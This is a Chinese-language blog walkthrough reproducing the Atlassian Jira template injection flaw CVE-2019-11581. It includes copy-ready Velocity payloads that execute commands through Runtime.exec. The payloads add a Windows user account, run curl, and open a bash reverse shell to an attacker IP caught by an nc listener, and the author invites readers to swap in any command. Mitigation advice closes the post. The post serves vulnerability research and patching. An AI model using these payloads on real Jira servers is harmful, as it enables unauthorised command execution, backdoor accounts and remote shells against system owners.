zoukankan      html  css  js  c++  java
  • Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

    0x00 漏洞描述

    Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。

    Atlassian Jira Server和Jira Data Center存在服务端模板注入漏洞,成功利用此漏洞的攻击者可对运行受影响版本的Jira Server或Jira Data Center的服务器执行任意命令,从而获取服务器权限,严重危害网络资产。

    0x01 CVE编号

    CVE-2019-11581

    0x02 漏洞危害等级

    高危

    0x03 漏洞影响范围

    AtlassianJira 4.4.x
    AtlassianJira 5.x.x
    AtlassianJira 6.x.x
    AtlassianJira 7.0.x

    AtlassianJira 7.1.x

    AtlassianJira 7.2.x
    AtlassianJira 7.3.x
    AtlassianJira 7.4.x
    AtlassianJira 7.5.x
    AtlassianJira 7.6.x < 7.6.14
    AtlassianJira 7.7.x
    AtlassianJira 7.8.x
    AtlassianJira 7.9.x
    AtlassianJira 7.10.x
    AtlassianJira 7.11.x
    AtlassianJira 7.12.x
    AtlassianJira 7.13.x < 7.13.5
    AtlassianJira 8.0.x < 8.0.3
    AtlassianJira 8.1.x < 8.1.2
    AtlassianJira 8.2.x < 8.2.3

    0x04 漏洞简析

    1.利用前提条件:

    第一种,未授权代码执行利用条件:Jira已配置好SMTP服务器,且需开启“联系网站管理员表单”功能。(从WEB界面设计上看,实际上如果没配置SMTP服务器,无法开启此功能

    第二种利用场景前提是拿到Jira管理员的权限,利用条件较难满足,这里主要分析第一种情况。原因在于atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators 未对Subject(邮件主题)处进行过滤,用户传入的邮件主题被当作template(模板)指令执行。在任何一种情况下,成功利用此漏洞的攻击者都可在运行受影响版本的Jira Server或Jira Data Center的系统上执行任意命令。

    2.以下两种url漏洞验证方式:

    第一种无需管理员账户权限:http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

    第二种需管理员账户权限:http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa 

    如果出现以下运行版本号则为存在漏洞。

    0x05 漏洞复现

    1. 漏洞利用条件

    联系管理员处必须开启 (需要知道后台管理员账号密码)

    2.环境准备:

    Atlassian JIRAv7.13.0 (以该版本为例,该版本存在漏洞)下载地址:

    https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe 

    安装过程不再描述(按照提示进行安装,先在官方注册一个账号然后拿到一个试用期序列号并进行安装),注意,到了邮件配置那一步经尽量选以后(默认就是),然后进入后台配置。

    3.确认未登陆状态下漏洞的存在

    访问如下URL(无需管理员账户权限):

    http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

    如果提示如下图,这说明没有配置联系管理员是无法触发漏洞。

     

    请登陆后台开启联系管理员,配置地址如下:

    http://10.10.20.116:8080/secure/admin/EditApplicationProperties!default.jspa

    默认是关闭的,需要配置了STMP发信后才能开启,配置STMP的时候可以测试连接,服务器必须开25端口,不然不能发邮件,下图是开启成功

    4.未登陆状态下触发漏洞

    访问

    http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

    在Subject填入payload,注意,我这里环境是windows机器,所以可以添加账号观察,Linux可以用反弹shell的代码等等,反正换成自己想执行的命令。

    $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk abc@ABC123 /add').waitFor()

     

    发送了后可能会等一会儿,因为要加入邮件队列。这时候再上服务器执行net user查看,发现正是刚刚执行命令添加的账户。

    5. 登陆管理员账号触发漏洞

    登陆管理员账号,然后访问如下URL:

    http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa

    填入payload,如下,注意执行命令添加账号的账户名

    $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk01 abc@ABC123 /add').waitFor()

    linux下可执行:
    目标Jira系统可执行的POC
    $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://www.baidu.com').waitFor()
    $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -i >& /dev/tcp/攻击者IP/2333 0>&1').waitFor()
    攻击者主机执行:nc  -lvvp 2333

    0x06 漏洞修复

    1.临时处置建议
    若无法及时升级Jira,可采取以下缓解措施:
    1.禁止访问http://ip:port/secure/ContactAdministrators!default.jspa
    2.关闭联系网站管理员表单功能,具体步骤如下:
    设置 => 系统 => 编辑设置 => 联系管理员表单处选择“关”,然后点击最下面的“更新”保存设置。
     

    编辑设置

     

    关闭联系网站管理员表单功能

    2.处置建议

    1.升级到不受漏洞影响的版本。

    2.对http://ip:port/secure/admin/SendBulkMail!default.jspa限制访问的源ip

    0x07 参考文献

    https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw

    https://github.com/jas502n/CVE-2019-11581

  • 相关阅读:
    Oracle基本概念
    md5密码生成工具
    tab页中不借用iframe的写法
    梅花雪树2.0和测试例子
    JS按比例缩放图片
    ASP.NET 文件下载
    删除VS2008最近打开文件或最近打开项目;重新另存项目的.sln文件
    去掉WINDOWS 2003 SERVER 开机和关机的麻烦
    分别设置母版页和内容页控件的值
    动态修改页面标题,关键字及描述等信息
  • 原文地址:https://www.cnblogs.com/backlion/p/11608439.html
Copyright © 2011-2022 走看看